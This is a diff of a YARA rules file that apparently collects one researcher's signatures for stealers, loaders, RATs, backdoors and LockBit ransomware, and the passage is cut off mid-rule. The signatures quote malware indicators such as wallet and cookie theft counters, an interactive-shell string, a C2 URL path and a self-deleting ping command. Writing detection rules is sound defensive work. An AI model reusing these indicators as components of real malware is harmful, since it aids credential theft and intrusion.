"https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/ZharkBot/zharkbot.yar#L1-L15" + id = "41aaa187-0fb5-53fe-a162-8d1a4974ccc1" + date = "2024-01-09" + modified = "2024-01-09" + reference = "https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/PureCrypter/purecrypter_core.yar#L3-L28" license_url = "N/A" - hash = "d53ce8c0a8a89c2e3eb080849da8b1c47eaac614248fc55d03706dd5b4e10bdd" - logic_hash = "ffaec6b19dd4385cd1bc156fdfde39a356367c7fba4135c48a8de62a18a78576" + hash = "e4faa7d7a098414449abffb210fd874798207ee9d27643c8088676ff429b56b7" + logic_hash = "8c761a98369436ffbe1379152461753778985a42ae656567018b47c71af7d866" score = 75 - quality = 85 + quality = 81 tags = "FILE" strings: - $s1 = {F7 EA C1 FA 04 8B C2 C1 E8 1F 03 C2 8B 55 ?? 0F BE C0 8A CA 6B C0 ?? 2A C8 80 C1} - $s2 = {F7 E2 C1 EA 04 0F BE C2 8B 55 ?? 8A CA 6B C0 ?? 2A C8 80 C1 ?? 30 8C 15} + $s1 = {47 5A 69 70 53 74 72 65 61 6D} + $s2 = {41 73 73 65 6D 62 6C 79 4C 6F 61 64 65 72 00 43 6F 73 74 75 72 61} + $s3 = {44 65 66 6C 61 74 65 53 74 72 65 61 6D} + $cnct = {72 ?? ?? 00 70 28 FB 00 00 0A 72 ?? ?? 00 70 28 ?? 00 00 0A} + $nr1 = {7B 00 31 00 31 00 31 00 31 00 31 00 2D 00 32 00 32 00 32 00 32 00 32 00 2D 00 34 00 30 00 30 00 30 00 31 00 2D 00 30 00 30 00 30 00 30 00 31 00 7D} + $nr2 = {7B 00 31 00 31 00 31 00 31 00 31 00 2D 00 32 00 32 00 32 00 32 00 32 00 2D 00 34 00 30 00 30 00 30 00 31 00 2D 00 30 00 30 00 30 00 30 00 32 00 7D} + $nr3 = {7B 00 31 00 31 00 31 00 31 00 31 00 2D 00 32 00 32 00 32 00 32 00 32 00 2D 00 32 00 30 00 30 00 30 00 31 00 2D 00 30 00 30 00 30 00 30 00 32 00 7D} + $nr4 = {7B 00 31 00 31 00 31 00 31 00 31 00 2D 00 32 00 32 00 32 00 32 00 32 00 2D 00 32 00 30 00 30 00 30 00 31 00 2D 00 30 00 30 00 30 00 30 00 31 00 7D} condition: - uint16( 0 ) == 0x5A4D and #s1 > 3 and #s2 > 3 and filesize < 500KB + filesize < 5MB and all of ( $s* ) and dotnet.number_of_resources > 4 and dotnet.number_of_resources < 6 and 2 of ( $nr* ) and dotnet.assembly_refs [ 1 ] . name contains "protobuf-net" and #cnct > 5 } -rule RUSSIANPANDA_Aurorastealer_1 + +rule RUSSIANPANDA_Swaetrat { meta: - description = "Detects the Build/Group IDs if present / detects an unobfuscated AuroraStealer binary; tested on version 22.12.2022" + description = "Detects SwaetRAT" author = "RussianPanda" - id = "1a94096f-c838-5272-856e-42efbd123a31" - date = "2023-02-07" - modified = "2023-05-05" + id = "e5238ae4-7ae3-505c-a3fd-ecf6be608fac" + date = "2023-11-27" + modified = "2023-11-27" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/AuroraStealer/AuroraStealer.yar#L1-L16" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/SwaetRAT/swaetrat.yar#L3-L19" license_url = "N/A" - logic_hash = "7a9900266a0dfa7bf0ea91a0260a1d30bd7799a491fba87db083f4fea4115f2a" - score = 50 + logic_hash = "4dc1107a34d678c3fa0939fab7986fe744ac246400823d08b1ab6db0942821da" + score = 75 quality = 85 tags = "" strings: - $b1 = { 48 8D 0D ?? ?? 04 00 E8 ?? ?? EF FF } - $go = "Go build ID" - $machineid = "MachineGuid" + $s2 = "Pong" + $s3 = "ReadData" + $s4 = "DeskDrop" wide + $s5 = "OfflineGet" wide condition: - all of them + all of ( $s* ) and pe.imports ( "mscoree.dll" ) } -rule RUSSIANPANDA_Aurorastealer_March_2023 + +rule RUSSIANPANDA_Bandit_Stealer : FILE { meta: - description = "Detects an unobfuscated AuroraStealer March update binary" + description = "Detects the latest build of Bandit Stealer" author = "RussianPanda" - id = "a115de7a-bff7-5bb0-b83f-f66a29bbcf3f" - date = "2023-03-23" + id = "ed61177d-d70d-5062-8703-f2f2b9d63751" + date = "2023-05-05" modified = "2023-05-05" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/AuroraStealer/Aurora_March_2023.yar#L1-L15" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/BanditStealer/bandit_stealer.yar#L3-L21" license_url = "N/A" - logic_hash = "d74d2843a03e826f334ce3c5eb10cc2b43cfd832174769e5d067fb877abe13a0" - score = 75 + logic_hash = "304bf05a58d5b762ffe078457739188692f4f7109db929418832c4379b21ae72" + score = 50 quality = 85 - tags = "" + tags = "FILE" strings: - $b1 = { 48 8D 0D ?? ?? 05 00 E8 ?? ?? EF FF } - $ftp = "FOUND FTP" + $s1 = {48 8D 35 ?? ?? B6 FF 48 8D BE DB ?? ?? FF 48 8D 87 AC ?? ?? 00 FF 30 C7 00 ?? ?? ?? ?? 50 57 31 DB 31 C9} + $s2 = {48 FF C0 88 17 83 E9 01 8A 10 48 8D 7F 01 75 F0} condition: - all of them + all of ( $s* ) and ( uint16( 0 ) == 0x5A4D or uint32( 0 ) == 0x4464c457f ) and pe.sections [ 0 ] . name contains "UPX0" and pe.sections [ 1 ] . name contains "UPX1" and pe.sections [ 0 ] . characteristics & pe.SECTION_MEM_EXECUTE and pe.sections [ 0 ] . characteristics & pe.SECTION_MEM_WRITE and pe.sections [ 1 ] . characteristics & pe.SECTION_MEM_EXECUTE and pe.sections [ 1 ] . characteristics & pe.SECTION_MEM_WRITE } rule RUSSIANPANDA_Susp_Obf_Py_Marshal_Module : FILE { @@ -167318,6 +167232,32 @@ rule RUSSIANPANDA_Susp_Obf_Py_Marshal_Module : FILE condition: $s1 and any of ( $t* ) and filesize < 2MB } +rule RUSSIANPANDA_Golang_Base64_Enc : FILE +{ + meta: + description = "Detects Base64 Encoding and Decoding patterns in Golang binaries" + author = "RussianPanda" + id = "6330e005-9c67-5acd-9063-aa7e30e92f5f" + date = "2024-01-10" + modified = "2024-01-14" + reference = "https://unprotect.it/technique/base64/" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Techniques/golang_base64_enc.yar#L1-L18" + license_url = "N/A" + hash = "509a359b4d0cd993497671b91255c3775628b078cde31a32158c1bc3b2ce461c" + logic_hash = "72cf3ee948df9c4ce593f16a49397e79fdc5ecc3264b3685bbc54f60ed1278bd" + score = 75 + quality = 83 + tags = "FILE" + + strings: + $s1 = {62 61 73 65 36 34 2e 53 74 64 45 6e 63 6f 64 69 6e 67 2e 45 6e 63 6f 64 65 54 6f 53 74 72 69 6e 67 28 [0-15] 29} + $s2 = {62 61 73 65 36 34 2e 53 74 64 45 6e 63 6f 64 69 6e 67 2e 44 65 63 6f 64 65 53 74 72 69 6e 67 28 [0-15] 29} + $s3 = {69 66 20 65 72 72 20 21 3D 20 6E 69 6C 20 7B} + $s4 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" + + condition: + all of ( $s* ) and uint16( 0 ) == 0x5A4D +} rule RUSSIANPANDA_Check_Installed_Software : FILE { meta: @@ -167374,81 +167314,110 @@ rule RUSSIANPANDA_Win_Sus_Internetshortcutfile condition: all of ( $s* ) and any of ( $a* ) } -rule RUSSIANPANDA_Golang_Base64_Enc : FILE +rule RUSSIANPANDA_Darkgate_Autoit { meta: - description = "Detects Base64 Encoding and Decoding patterns in Golang binaries" + description = "Detects DarkGate AutoIT script" author = "RussianPanda" - id = "6330e005-9c67-5acd-9063-aa7e30e92f5f" - date = "2024-01-10" - modified = "2024-01-14" - reference = "https://unprotect.it/technique/base64/" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Techniques/golang_base64_enc.yar#L1-L18" + id = "b30544b5-88c9-5a84-8582-f4f72b228f24" + date = "2024-01-26" + modified = "2024-01-26" + reference = "https://yara.readthedocs.io/en/stable/writingrules.html?highlight=xor" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/DarkGate/darkgate_autoit.yar#L1-L19" license_url = "N/A" - hash = "509a359b4d0cd993497671b91255c3775628b078cde31a32158c1bc3b2ce461c" - logic_hash = "72cf3ee948df9c4ce593f16a49397e79fdc5ecc3264b3685bbc54f60ed1278bd" + hash = "e1803b01e3f187355dbeb87a0c91b76c" + logic_hash = "dda6726d09035d6f61ca331d18ed37f032c6f6a5ab88e1754a21587f4c79ac87" score = 75 - quality = 83 - tags = "FILE" + quality = 85 + tags = "" strings: - $s1 = {62 61 73 65 36 34 2e 53 74 64 45 6e 63 6f 64 69 6e 67 2e 45 6e 63 6f 64 65 54 6f 53 74 72 69 6e 67 28 [0-15] 29} - $s2 = {62 61 73 65 36 34 2e 53 74 64 45 6e 63 6f 64 69 6e 67 2e 44 65 63 6f 64 65 53 74 72 69 6e 67 28 [0-15] 29} - $s3 = {69 66 20 65 72 72 20 21 3D 20 6E 69 6C 20 7B} - $s4 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" + $h = "AU3!EA06" + $s1 = "just_test.txt" xor(0x01-0xff) + $s2 = "c:\\temp\\data.txt" xor(0x01-0xff) + $s3 = "test.txt" xor(0x01-0xff) + $s4 = "cc.txt" xor(0x01-0xff) + $s5 = "c:\\temp\\data.txt" xor(0x01-0xff) + $s6 = "uu.txt" xor(0x01-0xff) condition: - all of ( $s* ) and uint16( 0 ) == 0x5A4D + 3 of ( $s* ) and $h } - -rule RUSSIANPANDA_Andeloader +rule RUSSIANPANDA_Win_Mal_Koistealer_PS { meta: - description = "Detects Ande Loader" + description = "Detects KoiStealer PowerShell script" author = "RussianPanda" - id = "c08d63b6-9fef-505d-9611-9dd0403c7c7c" - date = "2023-12-11" - modified = "2023-12-11" + id = "6dfdb39c-1b6a-5969-9c2d-e09869af6e0f" + date = "2024-04-04" + modified = "2024-04-04" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/AndeLoader/ande_loader.yar#L3-L18" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Koi/win_mal_KoiStealer_PS.yar#L1-L12" license_url = "N/A" - logic_hash = "cd55153077e5cfbd84cbe5b062dbd842def245417acfea4ed6c2b1db702dcc81" + hash = "4f55be0b55ec67dfda42b88e9c743a2a" + logic_hash = "8a60a1d770eb4b5048762ddfd4657fdf7a430b09eb454ae5a5bb3103460907db" score = 75 - quality = 83 + quality = 85 tags = "" strings: - $s1 = {59 61 6E 6F 41 74 74 72 69 62 75 74 65} - $s2 = "CreateShortcut" wide - $s3 = ".vbs" wide + $s1 = "index.php?id=$guid&subid=" + $s2 = "$config" condition: - 3 of ( $s* ) and pe.imports ( "mscoree.dll" ) + all of ( $s* ) } -rule RUSSIANPANDA_Whitesnakestealer : FILE +rule RUSSIANPANDA_Win_Mal_Koi_Loader_Decrypted : FILE { meta: - description = "Detects WhiteSnake Stealer XOR samples " + description = "Detects decrypted Koi Loader" author = "RussianPanda" - id = "cfe168a6-cc2f-5cfe-985c-78b232dc2651" - date = "2023-07-04" - modified = "2023-12-11" - reference = "https://russianpanda.com/2023/07/04/WhiteSnake-Stealer-Malware-Analysis/" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/WhiteSnake-Stealer/WhiteSnake_xor.yar#L1-L15" + id = "71de93d3-5c9f-5994-a54d-d4455d500280" + date = "2024-04-04" + modified = "2024-04-04" + reference = "https://github.com/RussianPanda95/Yara-Rules" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Koi/win_mal_Koi_loader_decrypted.yar#L1-L12" license_url = "N/A" - logic_hash = "0bd0e250b8598be297296ecf6644d3bf649e3dc4598438325a0913afed04c819" + hash = "1901593e0299930d46b963866f33a93b" + logic_hash = "f73ada7185ff109afe1e186a0fb7b4420b3d0e04c93c7c5423243db97eb34e49" score = 75 - quality = 83 + quality = 85 tags = "FILE" strings: - $s1 = {FE 0C 00 00 FE 09 00 00 FE 0C 02 00 6F ?? 00 00 0A FE 0C 03 00 61 D1 FE 0E 04 00 FE} - $s2 = {61 6e 61 6c 2e 6a 70 67} + $s1 = {73 00 64 00 32 00 2E 00 70 00 73 00 31 00} + $s2 = {25 00 74 00 65 00 6D 00 70 00 25 00 5C 00 25 00 70 00 61 00 74 00 68 00 73 00 25} condition: - all of ( $s* ) and filesize < 600KB + uint16( 0 ) == 0x5A4D and all of ( $s* ) } -rule RUSSIANPANDA_Whitesnakestealer_1 : FILE +rule RUSSIANPANDA_Win_Mal_Koi_Loader : FILE +{ + meta: + description = "Detects Koi Loader" + author = "RussianPanda" + id = "a608558d-97c8-5161-a6eb-29fd420458a8" + date = "2024-04-04" + modified = "2024-04-04" + reference = "https://github.com/RussianPanda95/Yara-Rules" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Koi/win_mal_Koi_loader.yar#L1-L14" + license_url = "N/A" + hash = "47e208687c2fb40bdbaa17e368aaa1bd" + logic_hash = "4f909865c6d274804c3fa7f66822d7bea71bb93e7c6a422ebaf220df056ac095" + score = 75 + quality = 85 + tags = "FILE" + + strings: + $s1 = {27 11 68 05} + $s2 = {15 B1 B3 09} + $s3 = {B5 96 AA 0D} + $s4 = {74 [0-10] C1 E9 18} + + condition: + uint16( 0 ) == 0x5A4D and all of ( $s* ) +} +rule RUSSIANPANDA_Whitesnakestealer : FILE { meta: description = "WhiteSnake Stealer" @@ -167473,749 +167442,835 @@ rule RUSSIANPANDA_Whitesnakestealer_1 : FILE condition: all of ( $s* ) and filesize < 300KB } -rule RUSSIANPANDA_Obfuscation_Powershell_Special_Chars +rule RUSSIANPANDA_Whitesnakestealer_1 : FILE { meta: - description = "Detects PowerShell special character obfuscation" + description = "Detects WhiteSnake Stealer XOR samples " author = "RussianPanda" - id = "dd2d41d4-3431-5252-adf1-d537f3b8db7e" - date = "2024-01-12" - modified = "2024-02-02" - reference = "https://perl-users.jp/articles/advent-calendar/2010/sym/11" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/PowerShell Obfuscation/obfuscation_powershell_special_chars.yar#L1-L15" + id = "cfe168a6-cc2f-5cfe-985c-78b232dc2651" + date = "2023-07-04" + modified = "2023-12-11" + reference = "https://russianpanda.com/2023/07/04/WhiteSnake-Stealer-Malware-Analysis/" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/WhiteSnake-Stealer/WhiteSnake_xor.yar#L1-L15" license_url = "N/A" - hash = "d77efad78ef3afc5426432597ba129141952719846bc5ccd058249bb23d8a905" - logic_hash = "4cc4ebffe7bf712b412a060536acc51d94381d24b46e5494195ae17482076cd6" + logic_hash = "0bd0e250b8598be297296ecf6644d3bf649e3dc4598438325a0913afed04c819" score = 75 - quality = 81 - tags = "" + quality = 83 + tags = "FILE" strings: - $s1 = {7d 3d 2b 2b 24 7b} - $s2 = {24 28 20 20 29} - $s3 = {24 7B [1-10] 7D 20 20 2B 20 20 24} - $s4 = {24 7B [1-10] 7D 24 7B} + $s1 = {FE 0C 00 00 FE 09 00 00 FE 0C 02 00 6F ?? 00 00 0A FE 0C 03 00 61 D1 FE 0E 04 00 FE} + $s2 = {61 6e 61 6c 2e 6a 70 67} condition: - 2 of ( $s* ) + all of ( $s* ) and filesize < 600KB } -rule RUSSIANPANDA_Win_Mal_Koi_Loader : FILE +rule RUSSIANPANDA_Win_Ransom_Lockbit5 : FILE { meta: - description = "Detects Koi Loader" + description = "Detects LockBit 5.0" author = "RussianPanda" - id = "a608558d-97c8-5161-a6eb-29fd420458a8" - date = "2024-04-04" - modified = "2024-04-04" + id = "bfe66503-fdd1-5a9a-9509-5b97efaabd9b" + date = "2025-09-15" + modified = "2025-09-15" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Koi/win_mal_Koi_loader.yar#L1-L14" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Ransomware/win_ransom_lockbit5.0.yar#L1-L15" license_url = "N/A" - hash = "47e208687c2fb40bdbaa17e368aaa1bd" - logic_hash = "4f909865c6d274804c3fa7f66822d7bea71bb93e7c6a422ebaf220df056ac095" + hash = "7ea5afbc166c4e23498aa9747be81ceaf8dad90b8daa07a6e4644dc7c2277b82" + logic_hash = "579944626f576ce9771b0a7de40a5766221acd5db1ef4257a45314a99714067d" score = 75 quality = 85 tags = "FILE" strings: - $s1 = {27 11 68 05} - $s2 = {15 B1 B3 09} - $s3 = {B5 96 AA 0D} - $s4 = {74 [0-10] C1 E9 18} + $s1 = {C6 41 0F 00 0F B6 ?? 33 ?? 89} + $s2 = {0F B6 ?? 0F C1 ?? 18 31} + $s3 = {83 ?? 02 83 ?? 0F D0 84 ?? ?? 00 00 00} condition: - uint16( 0 ) == 0x5A4D and all of ( $s* ) + all of ( $s* ) and uint16( 0 ) == 0x5A4D and filesize < 1MB } -rule RUSSIANPANDA_Win_Mal_Koistealer_PS +rule RUSSIANPANDA_Aurorastealer_1 { meta: - description = "Detects KoiStealer PowerShell script" + description = "Detects the Build/Group IDs if present / detects an unobfuscated AuroraStealer binary; tested on version 22.12.2022" author = "RussianPanda" - id = "6dfdb39c-1b6a-5969-9c2d-e09869af6e0f" - date = "2024-04-04" - modified = "2024-04-04" + id = "1a94096f-c838-5272-856e-42efbd123a31" + date = "2023-02-07" + modified = "2023-05-05" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Koi/win_mal_KoiStealer_PS.yar#L1-L12" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/AuroraStealer/AuroraStealer.yar#L1-L16" license_url = "N/A" - hash = "4f55be0b55ec67dfda42b88e9c743a2a" - logic_hash = "8a60a1d770eb4b5048762ddfd4657fdf7a430b09eb454ae5a5bb3103460907db" - score = 75 + logic_hash = "7a9900266a0dfa7bf0ea91a0260a1d30bd7799a491fba87db083f4fea4115f2a" + score = 50 quality = 85 tags = "" strings: - $s1 = "index.php?id=$guid&subid=" - $s2 = "$config" + $b1 = { 48 8D 0D ?? ?? 04 00 E8 ?? ?? EF FF } + $go = "Go build ID" + $machineid = "MachineGuid" condition: - all of ( $s* ) + all of them } -rule RUSSIANPANDA_Win_Mal_Koi_Loader_Decrypted : FILE +rule RUSSIANPANDA_Aurorastealer_March_2023 { meta: - description = "Detects decrypted Koi Loader" + description = "Detects an unobfuscated AuroraStealer March update binary" author = "RussianPanda" - id = "71de93d3-5c9f-5994-a54d-d4455d500280" - date = "2024-04-04" - modified = "2024-04-04" + id = "a115de7a-bff7-5bb0-b83f-f66a29bbcf3f" + date = "2023-03-23" + modified = "2023-05-05" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Koi/win_mal_Koi_loader_decrypted.yar#L1-L12" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/AuroraStealer/Aurora_March_2023.yar#L1-L15" license_url = "N/A" - hash = "1901593e0299930d46b963866f33a93b" - logic_hash = "f73ada7185ff109afe1e186a0fb7b4420b3d0e04c93c7c5423243db97eb34e49" + logic_hash = "d74d2843a03e826f334ce3c5eb10cc2b43cfd832174769e5d067fb877abe13a0" score = 75 quality = 85 - tags = "FILE" + tags = "" strings: - $s1 = {73 00 64 00 32 00 2E 00 70 00 73 00 31 00} - $s2 = {25 00 74 00 65 00 6D 00 70 00 25 00 5C 00 25 00 70 00 61 00 74 00 68 00 73 00 25} + $b1 = { 48 8D 0D ?? ?? 05 00 E8 ?? ?? EF FF } + $ftp = "FOUND FTP" condition: - uint16( 0 ) == 0x5A4D and all of ( $s* ) + all of them } -rule RUSSIANPANDA_Cowtunnel : FILE +rule RUSSIANPANDA_Zinfoq : FILE { meta: - description = "Detects CowTunnel" + description = "Detects ZinFoq implant" author = "RussianPanda" - id = "dc9f8416-0f5b-51d8-ad13-46ebe40af13a" + id = "e88a2941-2e73-5dc4-8894-c03236c3a61e" date = "2025-12-08" - modified = "2025-12-08" + modified = "2025-12-09" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/CowTunnel/linux_mal_CowTunnel.yar#L1-L13" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/ZinFoq/linux_mal_zinfoq.yar#L1-L13" license_url = "N/A" - hash = "776850a1e6d6915e9bf35aa83554616129acd94e3a3f6673bd6ddaec530f4273" - logic_hash = "80c96d02e216331ec0b711ae1a1ee5fcf31df8847009afe23735abc3f8bd8ec9" + hash = "0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce" + logic_hash = "e14d7968bc9752550924cd20d7e48622e97aeecd03975de91075cef9d677ab3f" score = 75 quality = 85 tags = "FILE" strings: - $s1 = "cannot create proxy service, it should not happenned!" - $s2 = "[nss] encrypt_data" - $s3 = "[nss] decrypt_data" + $s1 = "_FlAg_UuId;;;;;;" + $s2 = "interactive_shell" + $s3 = "explorer_download" condition: uint32( 0 ) == 0x464c457f and all of them } -rule RUSSIANPANDA_Win_Mal_Planetstealer : FILE +rule RUSSIANPANDA_Darkvnc : FILE { meta: - description = "Detects PlanetStealer" + description = "Detects DarkVNC" author = "RussianPanda" - id = "f912066f-4151-5f83-8d34-6bffdf9e25e5" - date = "2024-03-04" - modified = "2024-03-24" + id = "dbc86ac8-5ea3-59a7-b3ab-68c603165720" + date = "2024-01-15" + modified = "2024-01-15" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/PlanetStealer/win_mal_PlanetStealer.yar#L1-L14" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/DarkVNC/darkvnc.yar#L1-L15" license_url = "N/A" - logic_hash = "e1660d6fed4c48b45b40bd51fb52254c5b19ca6f1938b68f2344bde473820b86" + hash = "3c74dccd06605bcf527ffc27b3122959" + logic_hash = "1dd1246e0b22181706433f0cff9b231017e747d8faaa2db4cb9adefeab492ab7" score = 75 - quality = 79 + quality = 85 tags = "FILE" strings: - $s1 = {48 8D 15 ?? ?? ?? 00 0F B6 34 10 0F B6 BC 04 ?? ?? 00 00 ?? ?? 40 88 ?? 04 ?? ?? 00 00 48 FF C0} - $s2 = {48 83 F8 ?? 7C DA} - $s3 = {72 75 6E 74 69 6D 65 2E 67 6F 62 75 66} - $s4 = {74 6F 74 61 6C 5F 77 61 6C 6C 65 74 73} - $s5 = {74 6F 74 61 6C 5F 63 6F 6F 6B 69 65 73} + $s1 = {66 89 84 24 ?? 00 00 00 B8 ?? 00 00 00} + $s2 = {66 31 14 41 48} + $s3 = "VncStopServer" + $s4 = "VncStartServer" condition: - uint16( 0 ) == 0x5A4D and all of them and #s2 > 100 and #s1 > 100 and filesize < 20MB + uint16( 0 ) == 0x5A4D and 3 of them and filesize < 700KB } -rule RUSSIANPANDA_Ghostgambit : FILE +rule RUSSIANPANDA_Win_Mal_Mpxdropper : FILE { meta: - description = "Detects GhostGambit dropper" + description = "Detects MpxDropper" author = "RussianPanda" - id = "0348b9fa-59be-5f30-8ebc-f1e87cf98b07" - date = "2024-07-09" - modified = "2024-07-09" + id = "26ee0a12-c727-5953-8ebb-dd8a8d772561" + date = "2024-03-01" + modified = "2024-03-01" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/GhostGambit/GhostGambit.yar#L1-L14" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/MpxDropper/mal_win_MpxDropper.yar#L1-L11" license_url = "N/A" - hash = "2b16c68d9bafbd2ecf3634d991d7c794" - logic_hash = "419efbea3c347d0ec9365c0c21cccb6f229f8c42d22a2bcfdf14854e7f83aea1" + hash = "3a44a45afbfe5fc7cdeb3723e05c4e892b079abdb7d1e8d6fc70496ef0a14d5d" + logic_hash = "e8d2672553c7f44e1cc177fad6596bd58b5c32a7541f91ce1207e6b21ef6e52d" score = 75 - quality = 85 + quality = 83 tags = "FILE" strings: - $s1 = "/code32" ascii wide - $s2 = "/reg32" ascii wide - $s3 = "ZhuDongFangYu.exe" ascii wide - $s4 = "/c ping -n 4 127.0.0.1 > nul && del" ascii wide + $s1 = {43 3a 5c 55 73 65 72 73 5c 6d 70 78 31 36 5c 73 6f 75 72 63 65 5c 72 65 70 6f 73} condition: uint16( 0 ) == 0x5A4D and all of them } - -rule RUSSIANPANDA_Illyrianstealer : FILE +rule RUSSIANPANDA_Supperbackdoor { meta: - description = "Detects Illyrian Stealer" + description = "Detects Supper backdoor" author = "RussianPanda" - id = "2f85e87c-6883-5f41-a37c-00f9e93f61bf" - date = "2024-01-08" - modified = "2024-01-08" + id = "bd2752c3-1072-5151-9bb9-dd094feb0772" + date = "2025-10-31" + modified = "2025-11-02" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/IllyrianStealer/illyrian_stealer.yar#L2-L18" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/VanillaTempest/win_mal_SupperBackdoor.yar#L1-L14" license_url = "N/A" - hash = "fae0aed6173804e8c22027cbb0c121eedd927f16ea7e2b23662dbe6e016980e8" - logic_hash = "2012d401d3e7ce2d4d6ea12ed01a30b7d3e18f4ed47dbf70d43bae6c328960ea" + hash = "bf2ba1f30ef8ca6f9946f6ec21118eff3c3442590bbedea150e2d670e78ab986" + logic_hash = "85577822ecb065a32fe9c0c3ce2e2d7892c263e6a21afc56a9f0a1dbe5218abe" score = 75 quality = 85 - tags = "FILE" + tags = "" strings: - $s1 = "get_TotalPhysicalMemory" - $s2 = "\\b(bitcoincash)[a-zA-HJ-NP-Z0-9]{36,54}\\b" wide - $s3 = "[Crypto]" wide - $s4 = "|Black|" wide + $s1 = "[DEBUG MAIN SOCKS] Starting Init SOCKS" + $s2 = "fail send data to target" + $s3 = "serv disconnect" + $s4 = "cmd.exe /C ping 1.1.1.1 -n 1 -w 3000" condition: - all of ( $s* ) and filesize < 50KB and pe.imports ( "mscoree.dll" ) + all of them } -rule RUSSIANPANDA_Win_Mal_Gobitloader : FILE +rule RUSSIANPANDA_Textshell : FILE { meta: - description = "Detects GoBitLoader" + description = "Detects TextShell Obfsucator" author = "RussianPanda" - id = "4ebc7987-c1b2-5682-943f-7c19a9cb6b36" - date = "2024-03-24" - modified = "2024-03-24" - reference = "https://www.malwarebytes.com/blog/threat-intelligence/2024/03/new-go-loader-pushes-rhadamanthys" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/GoBitLoader/win_mal_GoBitLoader.yar#L1-L13" + id = "48fe49be-a76e-5e6c-a69f-acbe73f4d175" + date = "2025-10-31" + modified = "2025-11-02" + reference = "https://github.com/RussianPanda95/Yara-Rules" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/VanillaTempest/win_mal_TextShell.yar#L1-L13" license_url = "N/A" - logic_hash = "66951b290bef6a6c9eef4ea674472465dfe0ec5072dce21f48b58191f7ce90e3" + hash = "cf44aa11a17b3dad61cae715f4ea27c0cbf80732a1a7a1c530a5c9d3d183482a" + logic_hash = "c8f84d7160d8cb3b76d06170af09c921893b6f4cd073a10b399d8f51199cef40" score = 75 - quality = 79 + quality = 85 tags = "FILE" strings: - $s1 = {6D 61 69 6E 2E 52 65 64 69 72 65 63 74 54 6F 50 61 79 6C 6F 61 64} - $s2 = {6D 61 69 6E 2E 48 6F 6C 6C 6F 77 50 72 6F 63 65 73 73} - $s3 = {6D 61 69 6E 2E 41 65 73 44 65 63 6F 64 65 2E 66 75 6E 63 31} + $s1 = {41 8B 04 84 48 03 ?? EB} + $s2 = {41 3B ?? 74 ?? FF C3 3B 5D 18 72} + $s3 = {FF 15 ?? ?? ?? ?? 48 8B} condition: - uint16( 0 ) == 0x5A4D and all of them + uint16( 0 